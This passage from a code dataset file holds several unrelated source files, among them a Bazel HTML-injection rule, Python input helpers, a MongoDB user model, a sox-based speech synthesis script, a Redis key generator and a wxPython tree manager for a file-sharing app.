args.add_all(additional_root_paths(ctx))\n args.add(\"--assets\")\n args.add_all([f.path for f in ctx.files.assets])\n args.use_param_file(\"%s\", use_always = True)\n ctx.actions.run(\n inputs = [src],\n outputs = [out],\n executable = ctx.executable.injector,\n arguments = [args],\n )\n\n return [\n DefaultInfo(files = depset([out])),\n ]\n\ninject_html = rule(\n doc = _DOC,\n attrs = _ATTRS,\n implementation = _impl,\n)\n","sub_path":"packages/inject-html/inject_html.bzl","file_name":"inject_html.bzl","file_ext":"bzl","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"442885716","text":"\"\"\"This module is something like an advanced input\n- 'yes_no' will only return True or False\n- 'get_number' will only return a valid number\n- 'get_by_index' will return the value of an iterable by index\n- 'get_valid_path' will only return an existing path\n\"\"\"\n\nimport sys\nimport os\n\n\ndef yes_no(msg=\"Yes or No?\", hint=\"Please enter valid answer!\", fast=False, default=False, clear_lines=True):\n\tpositive = [\"y\", \"yes\", \"j\", \"ja\"]\n\tnegative = [\"n\", \"no\", \"nein\"]\n\tprint ()\n\twhile True:\n\t\tanswer = input(f\"{msg} [y/n]: \").lower()\n\t\tif (answer in positive):\n\t\t\tif (clear_lines): clear_line(2)\n\t\t\treturn True\n\t\telif (answer in negative):\n\t\t\tif (clear_lines): clear_line(2)\n\t\t\treturn False\n\t\telse:\n\t\t\tif (fast):\n\t\t\t\tif (clear_lines): clear_line(2)\n\t\t\t\treturn default\n\t\t\telse:\n\t\t\t\tif (clear_lines): clear_line(2)\n\t\t\t\tprint(hint) \n\n\ndef get_number(msg=\"Enter a number: \", hint=\"Please enter valid Number!\", integer=True, clear_lines=True):\n\tprint()\n\twhile True:\n\t\ttry:\n\t\t\tnumber = (int(input(msg)) if integer else (float(input(msg))))\n\t\t\tif (clear_lines): clear_line(2)\n\t\t\treturn number\n\t\texcept:\n\t\t\tif (clear_lines): clear_line(2)\n\t\t\tprint(hint)\n\ndef get_by_index(msg=\"Enter an index: \", values=[\"macOS\", \"Linux\", \"Windows\"], hint=\"Please enter a valid index!\", clear_lines=True):\n\tprint()\n\tfor i in range (0, len(values)):\n\t\tprint (f\"[{i}]: {values[i]}\")\n\tprint ()\n\twhile True:\n\t\tanswer = input(f\"{msg} [index]: \")\n\t\ttry:\n\t\t\tindex = int(answer)\n\t\t\tvalue = values[index]\n\t\t\tif (clear_lines): clear_line (len(values) + 2)\n\t\t\treturn value\n\t\texcept:\n\t\t\tif (clear_lines): clear_line(2)\n\t\t\tprint (hint)\n\n\ndef get_valid_path(msg=\"Please enter your path: \", hint=\"Please enter valid path!\", clear_lines=True):\n\tprint ()\n\twhile True:\n\t\tpath = input(msg)\n\t\tif not (os.path.exists(path)):\n\t\t\tif (clear_lines): clear_line(2)\n\t\t\tprint (hint)\n\t\telse:\n\t\t\tif (clear_lines): clear_line(2)\n\t\t\treturn path\n\n\ndef clear_line(lines=1):\n\tsys.stdout.write(\"\\033[F\\033[K\" * lines)\n\n\nif (__name__ == \"__main__\"):\n\t#print(yes_no())\n\t#print (get_number())\n\tprint (get_by_index())\n\tprint (get_valid_path())","sub_path":"ask.py","file_name":"ask.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"201712311","text":"#!flask/bin/python3.6\n# -*- coding: utf-8 -*-\n# -*- author: Charles Chen\n# 用户表,用来存放用户项下的字段。\n\n# 字段定义\n# 说明:users_collection 表示 集合名为:users\nusers_collection = {\n \"unionid\": \"微信全局识别码\",\n \"openId\": \"用户识别码\",\n \"userInfo\": [{\"nickName\": \"用户昵称\", \"avatarUrl\": \"头像地址\", \"gender\": \"性别\"}],\n \"credits\": \"积分\",\n \"title\": \"头衔\",\n \"tag\": \"标签\"\n}\n\nfrom DB1000.myconn import insert, find_one\n\n\n# 查询用户userId\ndef m_users_find(openId):\n user = find_one('users', {\"openId\": openId})\n return user\n\n\n# 新增用户\ndef m_users_instert(openId, data):\n new_collection = {\n \"unionid\": \"\",\n \"openId\":openId,\n \"userInfo\": data,\n \"credits\": 0,\n \"title\": \"新用户\",\n \"tag\": [],\n \"userData\": [],\n }\n resCode = 0\n resMsg = \"\"\n data = {}\n try:\n mongores = insert(\"users\", new_collection)\n data = m_users_find(openId)\n return data\n\n except Exception as e:\n # 待完善存储e到数据库\n e\n resCode = 500\n resMsg = \"users_model_失败!\"\n data = {\"Error_model_users\": e}\n return resCode, resMsg, data\n","sub_path":"model1000/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"78841724","text":"import os\nimport sys\nimport subprocess\n\nfrom synthesizer import Synthesizer\n\nPROJECT_PATH = os.path.dirname(os.path.abspath(__file__))\nsynthesizer = Synthesizer()\nt_model_path = os.path.join(PROJECT_PATH, 'models/upc_pau_tacotron2.pt')\nv_model_path = os.path.join(PROJECT_PATH, 'models/melgan_onapau_catotron.pt')\nsynthesizer.load(t_model_path, v_model_path)\n\ndef main(path):\n files = os.listdir(path)\n files.sort()\n p_wavs = []\n for f in files:\n if f.startswith('para') and f.endswith('.txt'):\n p_file = synthesize_paragraph(os.path.join(path,f))\n p_wavs.append(p_file)\n p_wavs.append('silence_short.wav')\n\n args = ['sox'] + p_wavs + [os.path.join(path, 'article_full.wav')]\n popen = subprocess.Popen(args)\n popen.wait()\n\ndef synthesize_paragraph(f):\n sentences = []\n print(f)\n for i, line in enumerate(open(f).readlines()):\n print(line)\n\n outfile = f.replace('.txt','_s%i.wav'%i)\n sentences.append(outfile)\n sentences.append('silence_short.wav')\n if not os.path.isfile(outfile):\n audio = synthesizer.synthesize(line)\n with open(outfile, 'wb') as out:\n out.write(audio)\n\n paragraph_file = f.replace('.txt','.wav')\n if not os.path.isfile(paragraph_file):\n args = ['sox'] + sentences + [paragraph_file]\n popen = subprocess.Popen(args)\n popen.wait()\n return paragraph_file\n\nif __name__ == \"__main__\":\n path = sys.argv[1]\n main(path)\n","sub_path":"article.py","file_name":"article.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"95026479","text":"import random\nimport redis\n\n\nkey_list=[]\nnum=0\nwhile num<200:\n\twhole='ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'\n\tone_key=\"-\".join(random.sample(whole,16))\n\tkey_list.append(one_key)\n\tnum+=1\nr=redis.Redis(host='localhost',port=6379,db=0)\nfor item in key_list:\n\tr.lpush('itemvalue',item)\n","sub_path":"0003.py","file_name":"0003.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"420740025","text":"__author__ = 'Allan'\n\nimport wx\nimport wx.xrc\nimport time\nimport webbrowser\nimport os\nimport threading\nimport time\nimport Queue\nimport multiprocessing\n\nfrom classlibrary import treenodeinfo\n\nfrom businesslogic import bl\n\n# threading dependencies\n\ndef filepodssharedwithmewatcherproc(treemanager):\n\n time.sleep(1)\n\n while treemanager.runFilePodsSharedWithMeWatcherThread:\n\n businessLogic = bl.BusinessLogic()\n\n podsFromServer = businessLogic.RetrieveFilePodsSharedWithMe(treemanager.mainWindow.loggedInSecurityUserID)['pods']\n\n # check for a pod that is on the server but not in our local list, means somebody shared with us\n\n refreshed = False\n\n for serverpod in podsFromServer:\n\n foundPodInBothSpots = False\n\n for localpod in treemanager.filePodsSharedWithMe:\n if serverpod['PodID'] == localpod[\"PodID\"]:\n foundPodInBothSpots = True\n break\n\n if False == foundPodInBothSpots:\n treemanager.loadFilePodsSharedWithMe()\n refreshed = True\n break\n\n # now look for pods we have locally that are not in the remote list, means somebody unshared and\n # we need to remove it from our share list\n\n if refreshed == False:\n cid, child = treemanager.treeCtrl.GetFirstChild(treemanager.OthersFilePodsRoot)\n\n while cid.IsOk():\n\n treenodeinfo = treemanager.treeCtrl.GetItemData(cid).GetData()\n\n foundPodInBothSpots = False\n\n for serverpod in podsFromServer:\n if treenodeinfo.dbid == serverpod[\"PodID\"]:\n foundPodInBothSpots = True\n break\n\n if False == foundPodInBothSpots:\n treemanager.loadFilePodsSharedWithMe()\n break\n\n cid, child = treemanager.treeCtrl.GetNextChild(treemanager.OthersFilePodsRoot, child)\n\n for i in range(0, 5):\n time.sleep(1)\n if treemanager.runFilePodsSharedWithMeWatcherThread == False:\n return\n\n\ndef walk_branches(tree, root):\n\n item, cookie = tree.GetFirstChild(root)\n\n while item.IsOk():\n yield item\n\n itemData = tree.GetItemData(item).GetData()\n\n if True == tree.ItemHasChildren(item):\n for node in walk_branches(tree, item):\n yield node\n\n item, cookie = tree.GetNextChild(root, cookie)\n\n\nclass TreeManager():\n\n # primary members\n\n mainWindow = None\n treeCtrl = None\n\n # tree nodes\n\n appRoot = None\n MyFilePodsRoot = None\n OthersFilePodsRoot = None\n FilesInEditRoot = None\n RunningOperationsRoot = None\n MyQuickShortcutsRoot = None\n FilesWebSharedRoot = None\n FoldersWebSharedRoot = None\n\n # popup menus\n\n popupMenuMyFilePodsRoot = None\n popupMenuMyFilePodRoot = None\n popupMenuOthersFilePodsRoot = None\n popupMenuOthersFilePodRoot = None\n\n # tree ctrl images\n\n imgfilepodsicons_browsers = None\n imgfilepodsicons_mypods = None\n imgfilepodsicons_othersshared = None\n imgfilepodsicons_pod = None\n imgfilepodsicons_root = None\n imgfilepodsicons_runningops = None\n imgfilepodsicons_settings = None\n imgfilepodsicons_sharing08 = None\n imgfilepodsicons_global = None\n imgfilepodsicons_search = None\n imgfilepodsicons_shortcut = None\n imgfilepodsicons_editfiles = None\n imgfilepodsicons_filewebsharing = None\n imgfilepodsicons_folderwebsharing = None\n\n def __init__(self, parent):\n pass\n\n def initialize(self, mainWindow, treeCtrl):\n self.mainWindow = mainWindow\n self.treeCtrl = treeCtrl\n self.filePodsSharedWithMe = []\n self.runFilePodsSharedWithMeWatcherThread = True\n\n self.FilePodsSharedWithMeWatcherThread = threading.Thread(target=filepodssharedwithmewatcherproc, args=(self, ))\n self.FilePodsSharedWithMeWatcherThread.start()\n\n self.treeImageList = wx.ImageList(16, 16, False, 11)\n\n imgfilepodsicons_browsers = self.treeImageList.Add(wx.Image(\"graphics/filepodsicons_browsers.png\", wx.BITMAP_TYPE_PNG).Scale(16,16).ConvertToBitmap())\n imgfilepodsicons_mypods = self.treeImageList.Add(wx.Image(\"graphics/filepodsicons_mypods.png\", wx.BITMAP_TYPE_PNG).Scale(16,16).ConvertToBitmap())\n imgfilepodsicons_othersshared = self.treeImageList.Add(wx.Image(\"graphics/filepodsicons_othersshared.png\", wx.BITMAP_TYPE_PNG).Scale(16,16).ConvertToBitmap())\n imgfilepodsicons_pod = self.treeImageList.Add(wx.Image(\"graphics/filepodsicons_pod.png\", wx.BITMAP_TYPE_PNG).Scale(16,16).ConvertToBitmap())\n imgfilepodsicons_root = self.treeImageList.Add(wx.Image(\"graphics/filepodsicons_root.png\", wx.BITMAP_TYPE_PNG).Scale(16,16).ConvertToBitmap())\n imgfilepodsicons_runningops = self.treeImageList.Add(wx.Image(\"graphics/filepodsicons_runningops.png\", wx.BITMAP_TYPE_PNG).Scale(16,16).ConvertToBitmap())\n imgfilepodsicons_settings = self.treeImageList.Add(wx.Image(\"graphics/filepodsicons_settings.png\", wx.BITMAP_TYPE_PNG).Scale(16,16).ConvertToBitmap())\n imgfilepodsicons_sharing08 = self.treeImageList.Add(wx.Image(\"graphics/filepodsicons_sharing-08.png\", wx.BITMAP_TYPE_PNG).Scale(16,16).ConvertToBitmap())\n imgfilepodsicons_global = self.treeImageList.Add(wx.Image(\"graphics/filepodsicons_global.png\", wx.BITMAP_TYPE_PNG).Scale(16,16).ConvertToBitmap())\n imgfilepodsicons_search = self.treeImageList.Add(wx.Image(\"graphics/filepodsicons_search.png\", wx.BITMAP_TYPE_PNG).Scale(16,16).ConvertToBitmap())\n imgfilepodsicons_shortcut = self.treeImageList.Add(wx.Image(\"graphics/filepodsicons_shortcut.png\", wx.BITMAP_TYPE_PNG).Scale(16,16).ConvertToBitmap())\n imgfilepodsicons_editfiles = self.treeImageList.Add(wx.Image(\"graphics/filepods-editfiles.png\", wx.BITMAP_TYPE_PNG).Scale(16,16).ConvertToBitmap())\n imgfilepodsicons_filewebsharing = self.treeImageList.Add(wx.Image(\"graphics/filepods-filewebsharing.png\", wx.BITMAP_TYPE_PNG).Scale(16,16).ConvertToBitmap())\n imgfilepodsicons_folderwebsharing = self.treeImageList.Add(wx.Image(\"graphics/filepods-folderclosedwebsharing.png\", wx.BITMAP_TYPE_PNG).Scale(16,16).ConvertToBitmap())\n imgfilepodsicons_folderwebimports = self.treeImageList.Add(wx.Image(\"graphics/filepodsicons_webshare.png\", wx.BITMAP_TYPE_PNG).Scale(16,16).ConvertToBitmap())\n\n self.treeCtrl.AssignImageList(self.treeImageList)\n\n self.loadInitialTreeNodes()\n\n # default item expansion\n\n item = self.treeCtrl.GetRootItem()\n self.treeCtrl.Expand(item)\n item, cookie = self.treeCtrl.GetFirstChild(item)\n self.treeCtrl.Expand(item)\n item, cookie = self.treeCtrl.GetNextChild(item, cookie)\n #self.treeCtrl.Expand(item)\n\n # load popup menus\n\n self.popupMenuMyFilePodsRoot = wx.Menu()\n self.popupMenuMyFilePodsRoot.Append(100, \"Create File Pod\")\n\n self.mainWindow.Bind(wx.EVT_MENU, self.OnMenuItemCreateFilePod, id=100)\n\n self.popupMenuMyFilePodRoot = wx.Menu()\n self.popupMenuMyFilePodRoot.Append(200, \"Create File Pod...\")\n self.popupMenuMyFilePodRoot.AppendSeparator()\n self.popupMenuMyFilePodRoot.Append(400, \"Archive\")\n self.popupMenuMyFilePodRoot.AppendSeparator()\n self.popupMenuMyFilePodRoot.Append(600, \"Delete...\")\n\n self.mainWindow.Bind(wx.EVT_MENU, self.OnMenuItemCreateFilePod, id=200)\n\n self.mainWindow.Bind(wx.EVT_MENU, self.OnMenuItemArchive, id=400)\n self.mainWindow.Bind(wx.EVT_MENU, self.OnMenuItemDelete, id=600)\n\n def shutdown(self):\n\n self.runFilePodsSharedWithMeWatcherThread = False\n\n def loadInitialTreeNodes(self):\n\n self.appRoot = self.treeCtrl.AddRoot('File Pods')\n self.treeCtrl.SetItemData(self.appRoot, wx.TreeItemData(treenodeinfo.TreeNodeInfo('root', -1)))\n self.treeCtrl.SetItemImage(self.appRoot, 4, wx.TreeItemIcon_Normal)\n\n self.QuickShortcutsRoot = self.treeCtrl.AppendItem(self.appRoot, 'Quick Shortcuts')\n self.treeCtrl.SetItemData(self.QuickShortcutsRoot, wx.TreeItemData(treenodeinfo.TreeNodeInfo('quickshortcutsroot', -1)))\n self.treeCtrl.SetItemImage(self.QuickShortcutsRoot, 8, wx.TreeItemIcon_Normal)\n\n self.SearchPods = self.treeCtrl.AppendItem(self.appRoot, 'Search Pods')\n self.treeCtrl.SetItemData(self.SearchPods, wx.TreeItemData(treenodeinfo.TreeNodeInfo('searchpodsroot', -1)))\n self.treeCtrl.SetItemImage(self.SearchPods, 9, wx.TreeItemIcon_Normal)\n\n self.MyFilePodsRoot = self.treeCtrl.AppendItem(self.appRoot, 'My File Pods')\n self.treeCtrl.SetItemData(self.MyFilePodsRoot, wx.TreeItemData(treenodeinfo.TreeNodeInfo('myfilepods', -1)))\n self.treeCtrl.SetItemImage(self.MyFilePodsRoot, 1, wx.TreeItemIcon_Normal)\n\n self.OthersFilePodsRoot = self.treeCtrl.AppendItem(self.appRoot, 'Others File Pods Shared with Me')\n self.treeCtrl.SetItemData(self.OthersFilePodsRoot, wx.TreeItemData(treenodeinfo.TreeNodeInfo('othersfilepods', -1)))\n self.treeCtrl.SetItemImage(self.OthersFilePodsRoot, 2, wx.TreeItemIcon_Normal)\n\n self.ArchivedFilePodsRoot = self.treeCtrl.AppendItem(self.appRoot, 'My Archived File Pods')\n self.treeCtrl.SetItemData(self.ArchivedFilePodsRoot, wx.TreeItemData(treenodeinfo.TreeNodeInfo('archivefilepods', -1)))\n self.treeCtrl.SetItemImage(self.ArchivedFilePodsRoot, 1, wx.TreeItemIcon_Normal)\n\n self.FilesWebSharedRoot = self.treeCtrl.AppendItem(self.appRoot, 'Web Shared Files')\n self.treeCtrl.SetItemData(self.FilesWebSharedRoot, wx.TreeItemData(treenodeinfo.TreeNodeInfo('fileswebsharedroot', -1)))\n self.treeCtrl.SetItemImage(self.FilesWebSharedRoot, 12, wx.TreeItemIcon_Normal)\n\n self.FoldersWebSharedRoot = self.treeCtrl.AppendItem(self.appRoot, 'Web Shared Folders')\n self.treeCtrl.SetItemData(self.FoldersWebSharedRoot, wx.TreeItemData(treenodeinfo.TreeNodeInfo('folderswebsharedroot', -1)))\n self.treeCtrl.SetItemImage(self.FoldersWebSharedRoot, 13, wx.TreeItemIcon_Normal)\n\n self.FoldersWebImportsRoot = self.treeCtrl.AppendItem(self.appRoot, 'Web Import Folders')\n self.treeCtrl.SetItemData(self.FoldersWebImportsRoot, wx.TreeItemData(treenodeinfo.TreeNodeInfo('folderswebimportsroot', -1)))\n self.treeCtrl.SetItemImage(self.FoldersWebImportsRoot, 13, wx.TreeItemIcon_Normal)\n\n self.FilesInEditRoot = self.treeCtrl.AppendItem(self.appRoot, 'Files Being Edited')\n self.treeCtrl.SetItemData(self.FilesInEditRoot, wx.TreeItemData(treenodeinfo.TreeNodeInfo('filesinedit', -1)))\n self.treeCtrl.SetItemImage(self.FilesInEditRoot, 11, wx.TreeItemIcon_Normal)\n\n self.RunningOperationsRoot = self.treeCtrl.AppendItem(self.appRoot, 'Running Operations')\n self.treeCtrl.SetItemData(self.RunningOperationsRoot, wx.TreeItemData(treenodeinfo.TreeNodeInfo('runningoperations', -1)))\n self.treeCtrl.SetItemImage(self.RunningOperationsRoot, 5, wx.TreeItemIcon_Normal)\n\n self.loadMyFilePods()\n self.loadFilePodsSharedWithMe()\n self.loadArchivedFilePods()\n\n def loadMyFilePods(self):\n\n self.treeCtrl.DeleteChildren(self.MyFilePodsRoot)\n\n businessLogic = bl.BusinessLogic()\n\n pods = businessLogic.RetrieveFilePodsByOwnerSecurityUserID(self.mainWindow.loggedInSecurityUserID)\n\n if False != pods:\n for pod in pods[\"pods\"]:\n\n filePodNode = self.treeCtrl.AppendItem(self.MyFilePodsRoot, pod['Name'])\n self.treeCtrl.SetItemData(filePodNode, wx.TreeItemData(treenodeinfo.TreeNodeInfo('myfilepod', pod['PodID'])))\n self.treeCtrl.SetItemImage(filePodNode, 3, wx.TreeItemIcon_Normal)\n\n filePodSettingsNode = self.treeCtrl.AppendItem(filePodNode, 'Settings');\n self.treeCtrl.SetItemData(filePodSettingsNode, wx.TreeItemData(treenodeinfo.TreeNodeInfo('myfilepodsettings', pod['PodID'])))\n self.treeCtrl.SetItemImage(filePodSettingsNode, 6, wx.TreeItemIcon_Normal)\n\n filePodBrowserNode = self.treeCtrl.AppendItem(filePodNode, 'Browser');\n self.treeCtrl.SetItemData(filePodBrowserNode, wx.TreeItemData(treenodeinfo.TreeNodeInfo('myfilepodbrowser', pod['PodID'])))\n self.treeCtrl.SetItemImage(filePodBrowserNode, 0, wx.TreeItemIcon_Normal)\n\n filePodSharingNode = self.treeCtrl.AppendItem(filePodNode, 'Sharing');\n self.treeCtrl.SetItemData(filePodSharingNode, wx.TreeItemData(treenodeinfo.TreeNodeInfo('myfilepodsharing', pod['PodID'])))\n self.treeCtrl.SetItemImage(filePodSharingNode, 7, wx.TreeItemIcon_Normal)\n\n filePodQuickShortcuts = self.treeCtrl.AppendItem(filePodNode, 'Shortcuts');\n self.treeCtrl.SetItemData(filePodQuickShortcuts, wx.TreeItemData(treenodeinfo.TreeNodeInfo('quickshortcuts', pod['PodID'])))\n self.treeCtrl.SetItemImage(filePodQuickShortcuts, 10, wx.TreeItemIcon_Normal)\n\n\n def loadFilePodsSharedWithMe(self):\n\n self.treeCtrl.DeleteChildren(self.OthersFilePodsRoot)\n\n businessLogic = bl.BusinessLogic()\n\n pods = businessLogic.RetrieveFilePodsSharedWithMe(self.mainWindow.loggedInSecurityUserID)\n\n self.filePodsSharedWithMe = []\n\n if False != pods:\n for pod in pods[\"pods\"]:\n\n filePodNode = self.treeCtrl.AppendItem(self.OthersFilePodsRoot, pod['Name'])\n self.treeCtrl.SetItemData(filePodNode, wx.TreeItemData(treenodeinfo.TreeNodeInfo('otherfilepod', pod['PodID'])))\n self.treeCtrl.SetItemImage(filePodNode, 3, wx.TreeItemIcon_Normal)\n\n filePodBrowserNode = self.treeCtrl.AppendItem(filePodNode, 'Browser')\n self.treeCtrl.SetItemData(filePodBrowserNode, wx.TreeItemData(treenodeinfo.TreeNodeInfo('otherfilepodbrowser', pod['PodID'])))\n self.treeCtrl.SetItemImage(filePodBrowserNode, 0, wx.TreeItemIcon_Normal)\n\n self.filePodsSharedWithMe.append(pod)\n\n def loadArchivedFilePods(self):\n\n self.treeCtrl.DeleteChildren(self.ArchivedFilePodsRoot)\n\n businessLogic = bl.BusinessLogic()\n\n pods = businessLogic.RetrieveFilePodsArchived(self.mainWindow.loggedInSecurityUserID)\n\n if False != pods:\n for pod in pods[\"pods\"]:\n\n filePodNode = self.treeCtrl.AppendItem(self.ArchivedFilePodsRoot, pod['Name'])\n self.treeCtrl.SetItemData(filePodNode, wx.TreeItemData(treenodeinfo.TreeNodeInfo('myfilepod', pod['PodID'])))\n self.treeCtrl.SetItemImage(filePodNode, 3, wx.TreeItemIcon_Normal)\n\n filePodSettingsNode = self.treeCtrl.AppendItem(filePodNode, 'Settings');\n self.treeCtrl.SetItemData(filePodSettingsNode, wx.TreeItemData(treenodeinfo.TreeNodeInfo('myfilepodsettings', pod['PodID'])))\n self.treeCtrl.SetItemImage(filePodSettingsNode, 6, wx.TreeItemIcon_Normal)\n\n filePodBrowserNode = self.treeCtrl.AppendItem(filePodNode, 'Browser');\n self.treeCtrl.SetItemData(filePodBrowserNode, wx.TreeItemData(treenodeinfo.TreeNodeInfo('myfilepodbrowser', pod['PodID'])))\n self.treeCtrl.SetItemImage(filePodBrowserNode, 0, wx.TreeItemIcon_Normal)\n\n filePodSharingNode = self.treeCtrl.AppendItem(filePodNode, 'Sharing');\n self.treeCtrl.SetItemData(filePodSharingNode, wx.TreeItemData(treenodeinfo.TreeNodeInfo('myfilepodsharing', pod['PodID'])))\n self.treeCtrl.SetItemImage(filePodSharingNode, 7, wx.TreeItemIcon_Normal)\n\n filePodQuickShortcuts = self.treeCtrl.AppendItem(filePodNode, 'Shortcuts');\n self.treeCtrl.SetItemData(filePodQuickShortcuts, wx.TreeItemData(treenodeinfo.TreeNodeInfo('quickshortcuts', pod['PodID'])))\n self.treeCtrl.SetItemImage(filePodQuickShortcuts, 10, wx.TreeItemIcon_Normal)\n\n\n def OnTreeItemExpanded(self, event):\n pass\n\n def OnTreeItemMenu(self, event):\n pass\n\n def OnTreeItemRightClick(self, event):\n\n treeItemInfo = self.treeCtrl.GetItemData(self.treeCtrl.GetSelection()).GetData()\n\n if treeItemInfo.type == 'myfilepod':\n self.mainWindow.PopupMenu(self.popupMenuMyFilePodRoot, event.GetPoint())\n elif treeItemInfo.type == 'root':\n pass\n elif treeItemInfo.type == 'myfilepods':\n self.mainWindow.PopupMenu(self.popupMenuMyFilePodsRoot, event.GetPoint())\n elif treeItemInfo.type == 'othersfilepods':\n pass\n #self.mainWindow.PopupMenu(self.popupMenuOthersFilePodsRoot, event.GetPoint())\n else:\n pass\n\n def OnTreeSelChanged(self, event):\n\n selTreeItem = self.treeCtrl.GetSelection()\n treeNodeInfo = self.treeCtrl.GetItemData(selTreeItem).GetData()\n\n rightPaneInitData = {}\n\n if (treeNodeInfo.type == 'root'):\n self.mainWindow.rightPaneManager.switchPanes('home', rightPaneInitData)\n elif (treeNodeInfo.type == 'quickshortcutsroot'):\n self.mainWindow.rightPaneManager.switchPanes('quickshortcutsroot', rightPaneInitData)\n elif (treeNodeInfo.type == 'searchpodsroot'):\n self.mainWindow.rightPaneManager.switchPanes('searchpodsroot', rightPaneInitData)\n elif (treeNodeInfo.type == 'myfilepods'):\n self.mainWindow.rightPaneManager.switchPanes('myfilepods', rightPaneInitData)\n elif (treeNodeInfo.type == 'othersfilepods'):\n self.mainWindow.rightPaneManager.switchPanes('othersfilepods', rightPaneInitData)\n elif (treeNodeInfo.type == 'fileswebsharedroot'):\n self.mainWindow.rightPaneManager.switchPanes('fileswebsharedroot', rightPaneInitData)\n elif (treeNodeInfo.type == 'folderswebsharedroot'):\n self.mainWindow.rightPaneManager.switchPanes('folderswebsharedroot', rightPaneInitData)\n elif (treeNodeInfo.type == 'folderswebimportsroot'):\n self.mainWindow.rightPaneManager.switchPanes('folderswebimportsroot', rightPaneInitData)\n elif (treeNodeInfo.type == 'filesinedit'):\n self.mainWindow.rightPaneManager.switchPanes('filesinedit', rightPaneInitData)\n elif (treeNodeInfo.type == 'runningoperations'):\n self.mainWindow.rightPaneManager.switchPanes('runningoperations', rightPaneInitData)\n elif (treeNodeInfo.type == 'myfilepod'):\n rightPaneInitData[\"podid\"] = treeNodeInfo.dbid\n self.mainWindow.rightPaneManager.switchPanes('myfilepod', rightPaneInitData)\n elif (treeNodeInfo.type == 'myfilepodsettings'):\n rightPaneInitData[\"podid\"] = treeNodeInfo.dbid\n self.mainWindow.rightPaneManager.switchPanes('myfilepodsettings', rightPaneInitData)\n elif (treeNodeInfo.type == 'myfilepodbrowser'):\n rightPaneInitData[\"canwrite\"] = 1\n rightPaneInitData[\"podid\"] = treeNodeInfo.dbid\n self.mainWindow.rightPaneManager.switchPanes('myfilepodbrowser', rightPaneInitData)\n elif (treeNodeInfo.type == 'myfilepodsharing'):\n rightPaneInitData[\"podid\"] = treeNodeInfo.dbid\n self.mainWindow.rightPaneManager.switchPanes('myfilepodsharing', rightPaneInitData)\n elif (treeNodeInfo.type == 'quickshortcuts'):\n rightPaneInitData[\"podid\"] = treeNodeInfo.dbid\n self.mainWindow.rightPaneManager.switchPanes('quickshortcuts', rightPaneInitData)\n elif (treeNodeInfo.type == 'otherfilepod'):\n rightPaneInitData[\"podid\"] = treeNodeInfo.dbid\n self.mainWindow.rightPaneManager.switchPanes('otherfilepod', rightPaneInitData)\n elif (treeNodeInfo.type == 'otherfilepodbrowser'):\n rightPaneInitData[\"podid\"] = treeNodeInfo.dbid\n businessLogic = bl.BusinessLogic()\n rightPaneInitData['canwrite'] = businessLogic.RetrieveSecurityUserAccessLevelToFilePod(self.mainWindow.loggedInSecurityUserID, treeNodeInfo.dbid)['canwrite'][0]['CanWrite']\n self.mainWindow.rightPaneManager.switchPanes('otherfilepodbrowser', rightPaneInitData)\n if treeNodeInfo.type == 'myfilepod':\n selParent = self.treeCtrl.GetItemParent(selTreeItem)\n treenodeinfo = self.treeCtrl.GetItemData(selParent).GetData()\n\n if treenodeinfo.type == 'archivefilepods':\n self.popupMenuMyFilePodRoot.SetLabel(400, 'Unarchive')\n else:\n self.popupMenuMyFilePodRoot.SetLabel(400, 'Archive')\n\n\n\n def OnMenuItemCreateFilePod(self, event):\n self.mainWindow.OnCreateFilePod(None)\n\n def OnMenuItemArchive(self, event):\n\n selTreeItem = self.treeCtrl.GetSelection()\n\n selParent = self.treeCtrl.GetItemParent(selTreeItem)\n\n treenodeinfo = self.treeCtrl.GetItemData(selParent).GetData()\n\n businessLogic = bl.BusinessLogic()\n\n if treenodeinfo.type == 'archivefilepods':\n treenodeinfo = self.treeCtrl.GetItemData(selTreeItem).GetData()\n businessLogic.UnarchiveFilePod(treenodeinfo.dbid)\n else:\n treenodeinfo = self.treeCtrl.GetItemData(selTreeItem).GetData()\n businessLogic.ArchiveFilePod(treenodeinfo.dbid)\n\n self.loadMyFilePods()\n self.loadFilePodsSharedWithMe()\n self.loadArchivedFilePods()\n\n def OnMenuItemDelete(self, event):\n\n selTreeItem = self.treeCtrl.GetSelection()\n treeNodeInfo = self.treeCtrl.GetItemData(selTreeItem).GetData()\n\n businessLogic = bl.BusinessLogic()\n\n businessLogic.DeleteFilePod(treeNodeInfo.dbid)\n\n self.loadMyFilePods()\n\n def OnChangeCurrentTreeItemText(self, newText):\n self.treeCtrl.SetItemText(self.treeCtrl.GetSelection(), newText)\n\n def __del__(self):\n pass\n\n\n\n def OnUpdatePodName(self, PodId, NewName):\n\n item = self.treeCtrl.GetRootItem()\n\n for node in walk_branches(self.treeCtrl, item):\n itemData = self.treeCtrl.GetItemData(node).GetData()\n\n if itemData.type == 'myfilepod':\n if itemData.dbid == PodId:\n self.treeCtrl.SetItemText(node, NewName)\n break\n\n def NavigateToPodFile(self, podID, parentFolderID, podFileID):\n\n item = self.treeCtrl.GetRootItem()\n\n for node in walk_branches(self.treeCtrl, item):\n itemData = self.treeCtrl.GetItemData(node).GetData()\n\n if itemData.type == 'myfilepodbrowser':\n if itemData.dbid == podID:\n self.treeCtrl.SelectItem(node)\n break\n\n self.mainWindow.rightPaneManager.currentPanel.OnSelectPodObject(parentFolderID, podFileID)\n\n\n\n def NavigateToPodFolder(self, podID, folderID):\n\n item = self.treeCtrl.GetRootItem()\n\n for node in walk_branches(self.treeCtrl, item):\n itemData = self.treeCtrl.GetItemData(node).GetData()\n\n if itemData.type == 'myfilepodbrowser':\n if itemData.dbid == podID:\n self.treeCtrl.SelectItem(node)\n break\n\n self.mainWindow.rightPaneManager.currentPanel.OnSelectPodObject(folderID, None)\n\n\n","sub_path":"filepodsmpwxpy/ui/bl/treemanager.py","file_name":"treemanager.py","file_ext":"py","file_size_in_byte":23390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} 